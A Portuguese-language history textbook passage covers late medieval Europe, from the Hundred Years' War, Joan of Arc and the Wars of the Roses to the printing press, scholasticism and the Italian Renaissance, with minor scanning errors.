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A conquista da Gales, Irlanda e Escócia

Dentro dos seus confins insulanos a monarquia inglesa encontrou outras dificuldades a vencer. Os celtas do país de Gales só foram realmente submetidos em 1282 por Eduardo I, que deu a seu filho primogênito, nascido durante a campanha, o título de Príncipe de Gales, e de coração apenas aderiram à união quando subiu ao trono a dinastia Tudor, descendente pela linha masculina de um cavaleiro de Gales, Owen Tudor. A Irlanda já se achava sujeita desde o século XII. A Escócia foi reduzida pelo mesmo Eduardo I a Estado vassalo (1292) e até a feudo confiscado (1296); lutou porém pela sua independência e venceu no campo de batalha de Bannockbum, onde o exército de Eduardo II foi quase exterminado (1314). Antes contudo de Roberto Bruce conquistar essa independência, que durou de 1328, data do seu reconhecimento por Eduardo III, até 1603, quando subiu ao trono inglês o rei da Escócia, Jaime I, filho de Maria Stuart, o sentimento nacional escocês, apesar de ter corrido muito sangue nas lutas dos nobres com a coroa, encarnou-se em Wallace, cavaleiro bandido cujo valor e trágico fim o converteram em herói pátrio.

Consolidação da monarquia francesa

Na França a consolidação do poder monárquico foi contínua, para tanto contribuindo o fato de não haver faltado na dinastia por onze gerações um herdeiro direto, o que excluía as questões de sucessão. O princípio da eleição feudal, a saber, o rei escolhido pelos seus pares, fora esquecido e a monarquia tornara-se hereditária na família dos Capetos. Por um momento pareceu que a evolução constitucional aí seguia caminho igual ao da Inglaterra.

Os Estados Gerais

Filipe, o Belo, em disputa com o pontífice Bonifácio VIII por ter lançado impostos sobre os bens eclesiásticos sem acordo prévio com a Santa Sé e também por haver proibido a saída do "dinheiro de São Pedro", contribuição dos católicos franceses para as despesas do papa, convocou em 1302 os primeiros Estados Gerais a fim de ser aprovado por toda a nação o seu proceder. O papa expedira uma bula reiterando a doutrina da superioridade do poder espiritual sobre o temporal e a reafirmação do direito que à Igreja assistia de fiscalizar os príncipes cristãos e até depor aqueles que fossem maus governantes. Respondendo o papa à convocação dos Três Estados com a reunião de um concílio que confirmou sua teoria, replicou Filipe, o Belo, conforme vimos, que o rei de França só a Deus tinha por suserano, declaração com a qual rebaixava o orgulho papal e exaltava a soberania real.

O Terceiro Estado e o papel da realeza

Já conhecemos o desenlace violento dessa questão: o falecimento de Bonifácio VIII, o último dos grandes papas da Idade Média, no ano imediato ao da agressão sofrida, deu ensejo à eleição do cardeal de Bordéus, Clemente V, com quem começou em Avinhão o chamado pela Igreja "novo cativeiro de Babilônia".

A obra de São Luís

O desenvolvimento em França do Terceiro Estado efetuou-se porém fora e não, conforme aconteceu do outro lado da Mancha, dentro da Assembléia nacional. O princípio monárquico foi que encarnou a alta função da justiça e exprimiu o sentimento patriótico. São Luís em 1254 organizou a administração dos domínios da coroa por províncias, os bailios representando sua autoridade e não assumindo autoridade própria como os leudes merovíngios ou os condes carolíngios — o que foi como que uma evocação do governo imperial romano com seus prefeitos responsáveis e sujeitos a demissão.

O mesmo monarca suprimiu o duelo judiciário e os ordálios, estabelecendo os inquéritos judiciais por legistas instruídos no Código de lustiniano. Foi a origem do Parlamento de Paris, tribunal com jurisdição sobre os feudos vassalos, isto é, com recurso para êle das Cortes feudais e sendo-lhe privativos os casos reais. Com uma circulação monetária una e não falsificada, e com a proteção das comunas, inveja dos senhores feudais quando prósperas, mas também sujeitas a discórdias entre si, São Luís completou sua obra. Já Filipe

Augusto em Bouvines combatera não só com seus homens de armas, mas com as milícias comunais, derrotando João Sem Terra.

Filipe, o Belo

Vimos como o neto de São Luís, Filipe, o Belo, se ocupou de dotar a realeza dos meios financeiros, levantando dízimos sobre os rendimentos do clero e confiscando os bens dos Templários: a êle se deve a instituição da gabela do sal e a substituição do serviço militar dos vassalos pelo pagamento de um imposto que lhe proporcionou recursos para engajar mercenários. Começava a coroa a ter o seu exército, e o poderio real derivou força singular da guerra dos Cem Anos (1338-1453) com a Inglaterra, na qual se estiolou a aristocracia feudal francesa.

A guerra dos Cem Anos. Suas razões

Essa guerra já não podia ter por motivo a ocupação de boa parte da França pelos reis britânicos, porquanto desde 1214, a saber, desde o desbarato em Bouvines de João Sem Terra e dos seus aliados, a saber, o imperador germânico e senhores feudais deste dependentes, a coroa francesa ficara de posse da Normandia, Anjou, Tou-raine e Poitou. As razões foram a rivalidade comercial entre os dois países, o apoio prestado pela França à Escócia e sobretudo o título de sucessão apresentado por Eduardo III da Inglaterra, neto, pela mãe, de Filipe, o Belo, quando pela morte de Carlos IV (1328) se extinguiu a dinastia dos Capetos. A herança coubera a Filipe de Valois, VII do nome, sobrinho de Filipe, o Belo, em virtude da lei sálica, isto é, da velha lei da tribo dos francos sálios, pela qual as mulheres eram excluídas da sucessão.

Suas fases

A guerra dos Cem Anos apresenta períodos perfeitamente definidos de variação da fortuna das armas. Primeiro os franceses sofreram as derrotas de Crécy (1346) e de Poitiers (1356), seguidas aquela do cerco e tomada de Calais e esta da captura do rei de França, João II, o Bom, pelo Príncipe Negro, filho de Eduardo III e assim conhecido pela côr da sua armadura, o qual invadiu a França por Bordéus. Para recuperar sua liberdade, o monarca francês teve de assinar o tratado de Brétigny (1360), entregando aos ingleses a metade ocidental da França, com exceção da Normandia e da Bretanha, a qual ainda era um feudo constituindo um Estado quase independente.

Os besteiros

Crécy foi o túmulo da cavalaria francesa: a flor dela — 1 200 nobres — ali sucumbiu debaixo dos virotões dos arqueiros ingleses. As batalhas deixaram de ser ganhas por cavaleiros de armadura, munidos de machado e lança, para serem ganhas por peões, munidos de arbaleta. Estes besteiros asseguraram a independência suíça, destroçando o último dos granaes senhores feudais, o duque de Borgonha, e desempenharam papel essencial no combate dos Atoleiros, a primeira das vitórias do Santo Condestável Nuno Álvares Pereira.

A peste negra

Entre aquelas duas batalhas ou mais precisamente de 1347 a 1349, a Europa sofreu o mais terrível ataque da peste negra, importada do Levante e também por isso chamada mal levantino. Calcula-se que a epidemia fêz perecer de um terço à metade da população européia — 25 milhões de pessoas, escreve Hecker. Despovoaram-se mosteiros; navios ficaram sem um tripulante; regiões cultivadas passaram a quase desertas, o trigo por ceifar, os rebanhos sem pastores.

Duguesclin- Armagnacs e Borguinhões

Politicamente a situação da França só fazia piorar, apesar do grande clarão produzido pelas vitórias do conde stável Bertrand Duguesclin, que conseguiu pelas suas atiladas operações militares expulsar quase de todo os ingleses da França (1380). A disputa pela regência, determinada pela loucura de Carlos VI em 1392, ocasionou porém porfiada luta civil entre Armagnacs e Borguinhões, estes partidários do regente duque de Borgonha, aqueles do conde d’Armagnac, senhor feudal do Sul que pretendia vingar o assassinato do duque d’Orléans, chefe desta facção (1407).

Henrique V e Azincourt. Joana d’Arc e a vitória francesa

Na Inglaterra deu-se entretanto, após o agitado reinado de Ricardo II, a subida da casa de Lancastre e Henrique V, desembarcando na Normandia, ganhou a batalha de Azincourt (1415) que foi uma nova carnagem entre a nobreza francesa. Paris foi tomada e o rei, prisioneiro, foi obrigado a aceitar o Tratado de Troves (1420) reconhecendo como herdeiro da coroa de França o monarca inglês. O sentimento nacional já se solidificara contudo demasiado na França para permitir tal desenlace. Quando tudo parecia perdido apareceu uma donzela, Joana d’Arc, camponesa de Domrémy, na Lorena, de alma extraordinariamente sensível aos destinos da pátria e que se dizia impelida por instigação celeste, manifestada em visões e vozes, a salvar seu país.

Arqueiros ingleses. Segundo uma miniatura existente na Biblioteca Nacional, em Paris.
Segundo uma miniatura existente na Biblioteca Nacional, em Paris.

As pequenas forças que ela guiava, cheias de exaltação militar e de fé religiosa, conseguiram garantir as províncias centrais. Os ingleses tiveram que levantar o cerco de Orléans, entraram a ser batidos e a recuar, e Carlos VII, herdeiro arredado, pôde ser sagrado em Reims (1429). Joana d’Arc, aprisionada pelos ingleses em Com-piègne, foi queimada viva em Ruão em 1431 como feiticeira, contando apenas 20 anos: sua captura foi de fato obra dos borguinhões, que a entregaram ao inimigo estrangeiro com quem andavam feitos. O revés não teve todavia piores conseqüências: o encantamento estava desfeito e o perigo inglês, isto é, a absorção da França pela monarquia britânica, estava conjurado. Desde então a vitória sorriu permanentemente aos franceses. Em 1436 Carlos VII entrava em Paris e poucos anos depois os ingleses, expulsos da Normandia e da Aqui-tânia, apenas ficavam no continente com Calais. A guerra dos Cem Anos acabou no mesmo ano em que Constantinopla era tomada pelos turcos.

Prestigio do Parlamento na Inglaterra. A guerra da: Duas Rosas

Seus resultados foram diferentes nos dois países em luta. Na Inglaterra os sacrifícios e as despesas de tão prolongada contenda, ao mesmo tempo que fundiam plenamente os elementos da população, puseram a coroa cada vez mais na dependência do Parlamento, que não supria gente e dinheiro para os gastos reais sem que lucrassem com isso os privilégios dos Comuns. O que restava do feudalismo britânico, e ainda era muito, dissolveu-se na guerra civil das Duas Rosas (1455-1485), que se travou entre os partidários da casa de Lancastre, e da casa de York, ramos rivais da dinastia que ostentavam nas suas armas respectivamente uma rosa vermelha e uma rosa branca.

Joana d'Arc
Joana d'Arc acompanha os soldados franceses no ataque a uma cidade ocupada pelos ingleses. Cópia de uma miniatura da Biblioteca Nacional, de Paris.
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Os Tudors. A burguesia inglesa

Ricardo III, o último infame rebento da casa de York, caiu afinal em combate, passando a coroa para Henrique Tudor (Henrique VII), o qual desposara a filha de Eduardo IV, predecessor do usurpador Ricardo III, cujo derradeiro crime fora mandar matar na Torre do Londres seus sobrinhos menores, filhos daquele monarca. A aristocracia inglesa ficara numa condição pouco invejável: mortos muitos barões, outros tantos arruinados, seus bens malbaratados ou confiscados. Pode dizer-se que nenhuma das grandes casas nobres conservara suas antigas opulência e influência. O despotismo real lucrou com esse abatimento, pois é preciso não esquecer que tinham sido os barões os maiores adversários do absolutismo; mas o fortalecimento da burguesia conservou latente a resistência que explodiu sob os Stuarts, no século XVII, dobrando a coroa. Deve-se precisar burguesia e não povo, porque este continuava a não contar politicamente ou socialmente. A revolta dos camponeses ingleses em 1381, reclamando a abolição da servidão, foi implacavelmente suprimida.

Luís XI e o fim do feudalismo francés

Na França prosseguiu a coroa afirmando sua supremacia, especialmente depois que a cingiu de 1461 e 1483 um soberano nobilíssimo e sem escrúpulos, Luís XI, o qual professava a opinião que não sabia reinar quem não soubesse dissimular. Foi êle quem de vez acabou com o feudalismo francês, desembaraçando-se dos senhores pela violência quando não bastava a astúcia. Quinhentos destes senhores organizaram contra o trono a chamada Liga do bem público, para serem vencidos pelas intrigas reais. Quando se não podia impor, Luís XI transigia, para depois enganar, acobertando-se com as resoluções dos Estados Gerais.

Carlos, o Temerario

O mais forte dos seus adversários era Carlos, o Temerário, duque de Borgonha, que com sua porção de Estados feudais, compreendendo as Flandres e os Países-Baixos, cidades e cantões, pretendia restaurar o reino de Lotário entre a Alemanha e a França, anexando a Lorena, a Suíça e a Provença. Os suíços porém bateram-no em batalha (1477); perdeu êle a vida num encontro com os lorenos, e Luís XI confiscou grande parte dos domínios da casa de Borgonha na França.

Carlos VIII e a invasão da Italia

De outros domínios se foi o astuto rei apossando por cessão ou recebendo-os por herança. Seu filho, Carlos VIII (1483-1498), ultimou a unificação francesa pelo seu casamento com Ana da Bretanha e sonhou desviar para a França a coroa imperial do Ocidente, a pretexto de herdar da casa de Anjou ocupando a Itália, e aí fazendo base para uma cruzada contra os turcos de Constantinopla. Seu exército já era composto de tropas assoldadas, não mais de dependentes feudais. A invasão francesa atingiu com efeito Nápoles, mas foi obrigada a recuar diante de uma coalizão de interessados contrários, entre os quais Veneza e o rei de Aragão.

As invenções. As armas de fogo e a bússola.

A Idade Média encerrou-se entre invenções, cada qual mais importante. As armas de fogo remodelaram a arte da guerra: usada pelos chineses, diz-se que em fogos de artifício, depois pelos árabes, já em armamento, a pólvora foi empregada pelos cristãos a partir do século XIV, mas só no século XVI achou aplicação na Artilharia. A bússola também era conhecida dos chineses, mas no século XIII foi que fêz sua aparição na Europa e no século XV foi que serviu para orientar os navegantes do Mar Tenebroso. Parece que também foi aprendida pelos árabes dos chineses e por eles revelada aos marinheiros do Mediterrâneo, permitindo viagens mais afoitas do que as que se faziam, por assim dizer, à vista de terra.

Invenção da imprensa.

A imprensa sobretudo concorreu para caracterizar a idade moderna, facultando a vulgarização dos autores e a disseminação dos conhecimentos e contribuindo, mais do que qualquer outro fator, para corrigir a grosseria e a violência de costumes de uma época que não só se distinguia pela cortesania e cavalheirismo de alguns dos seus elementos representativos. A impressão por blocos gravados era conhecida e usada. Praticavam-na os chineses e os ocidentais a tinham adquirido. Na primeira metade do século XV imprimiam-se livros inteiros por esse processo demorado e dispendioso. Foi porém o alemão Gutenberg (1400-1468), natural de Mogúncia, quem imaginou servir-se para a impressão de tipos separados, que o seu associado Faust pensou fabricar de uma liga de chumbo e antimô-nio. O primeiro livro impresso por este sistema foi a Bíblia, em 1455: no fim do século XV o invento estava espalhado por toda a Europa civilizada, sucedendo-se as edições, sobretudo de livros religiosos e de autores clássicos. Só em Veneza havia 200 tipografias, entre outras a famosa Aldina, cujas impressões, de uma nitidez surpreendente, abrangeram em poucos anos a série quase completa dos escritores gregos, fora os latinos e os hebraicos.

As universidades medievais. Estudantes e operários.

O humanismo já era então uma realidade. Quando a influência da cultura greco-árabe na Espanha e no Oriente — esta operando pelo contato com as cruzadas — despertou uma mais aguda curiosidade intelectual, organizaram-se como meio de satisfazê-las as universidades. Das mais antigas a de Salerno foi famosa pelo seu estudo da medicina, a de Bolonha pela sua competência no direito e a de Paris pela sua autoridade em teologia. A começo, sobretudo, foram essas universidades, ao mesmo tempo que academias de instrução, escolas de indisciplina. A vida desordeira da Idade Média aí se agravou com a impetuosidade da mocidade, a enorme freqüência das aulas, a mistura de condições sociais. No século XIII a Universidade de Paris era concorrida por mais de 20 000 estudantes de todos os países, organizados até por nações. A camada social mais ordeira daqueles tempos era a operária, ordenada por guilds, ou corporações. Não havia, por assim dizer, patrões, no atual sentido explorador da palavra: todos pertenciam ao mesmo grêmio de produção honesta e moderada de uma sociedade mais modesta e mais harmônica na sua disparidade.

Fac-símle do primeiro jornal publicado em Portugal, 1641.

A escolástica. Abelardo. Alberto Magno e Santo Tomás de Aquino

Os estudos eram limitados pela escassez dos manuscritos, pelo respeito supersticioso dos textos, pela carência de observações experimentais. Foi esse o período áureo da escolástica, a qual, na definição de um autor americano, tratava de pôr de acordo a revelação com a razão. Abelardo (1079-1142) foi o grande expoente da doutrina: diz-se que falava perante auditórios de 5 000 pessoas. Exercia verdadeira fascinação como recentemente Bergson, e a tal sentimento não escapou sua discípula Heloísa. Este episódio de amor, com seu triste desenlace, nunca mais deixou de ser relembrado. No século XIII, Alberto Magno, o segundo Aristóteles, e Santo Tomás d’Aquino, o doutor angélico, foram os guias da filosofia: a Summa Theologice do segundo é o compêndio da ortodoxia católica. O idealismo de Platão, fundado sobre a realidade das idéias com desprezo da experiência, que era, afinal, devidamente modificado, o ensino de Santo Agostinho, foi substituído pelo racionalismo aristotélico, posto de acordo com a religião.

Rogério Bacon e o fim da escolástica

Na Inglaterra, o frade franciscano Rogério Bacon, o doutor maravilhoso, distinguiu-se no mesmo século pela sua operosidade de caráter científico, ocupando-se de mecânica, óptica, química, ao ponto de sofrer perseguições como suspeito de ter pacto com o diabo. A escolástica foi declinando nos séculos XIV e XV, enleada em discussões estéreis e extravagantes à medida que progredia o humanismo, expressão proveniente de chamar-se aos clássicos litterce humaniores ou letras mais humanas, em oposição à teologia ou letras mais divinas.

O humanismo

A missão da escolástica estava cumprida, que fora a de aguçar o pensamento embotado, dotá-lo de atividade e fazer das universidades do tempo, na expressão de um autor, ginásios mentais. A inteligência européia ficou assim preparada para a Renascença que foi, no sentido restrito, a ressurreição das letras e da arte clássicas, e no sentido mais largo, foi definida como a reaparição do espírito secular, investigador e confiante, que caraterizou a vida e a cultura da antiguidade clássica.

Era natural que a Renascença partisse da Itália, onde essa antiguidade ficava mais próxima, sendo as cidades fragmentos do velho império, e onde o particularismo político era favorável ao jogo das energias individuais. Dante é profundamente medieval nas suas idéias, na sua alma mesmo, e entretanto escolheu Vergílio para guia

Autógrafo de MiguelÂngelo.

nas regiões escuras. Petrarca e Boccaccio foram apaixonados cultores da literatura clássica, da qual Petrarca reuniu 200 volumes manuscritos. A caça aos velhos manuscritos foi característica dos séculos XIV e XV e salvou de fato muita preciosidade literária. Mecenas como Cosme e Lourenço de Médicis e o papa Nicolau V subsidiavam pesquisadores, copistas e tradutores. Este pontífice colecionou no Vaticano 5 000 trabalhos manuscritos. Já vimos quanto ajudou este movimento a emigração dos eruditos gregos de Constantinopla, aproveitados como mestres nas escolas e universidades italianas.

No humanista que ao entusiasmo clássico juntava preocupações cristãs, apontava o reformador: tais preocupações pertencem porém mais ao norte do que ao sul. A Renascença italiana tem fortes laivos de paganismo, encarnando-se nos grandes mestres da pintura, Rafael (1483-1520) e Ticiano (1477-1576), no grande mestre da escultura, não só da pintura, Miguel Ângelo (1475-1564), que ao cinzel comunicou a emoção do pincel, e particularmente no gênio enciclopédico de Leonardo da Vinci (1452-1519). As sensações religiosas dos primitivos não desapareceram contudo nos seus sucessores, pois que Leonardo se imortalizou pintando a Ceia do Senhor, Miguel Ângelo o Juízo Final e Rafael as suas Madonas. Nessas telas afloram porém as reminiscências clássicas: o humanismo nelas participa pela sua concepção da beleza. O espírito greco-romano predominou até se lhe avantajar o moderno espírito científico, mais orientado pela experiência do que pela especulação. A epopéia dos Lusíadas — poema não só da nacionalidade, mas da raça portuguesa — constitui no século XVI a mais feliz combinação literária das três influências: a católica, a pagã e a científica.


Fonte: Ed. Melhoramentos.

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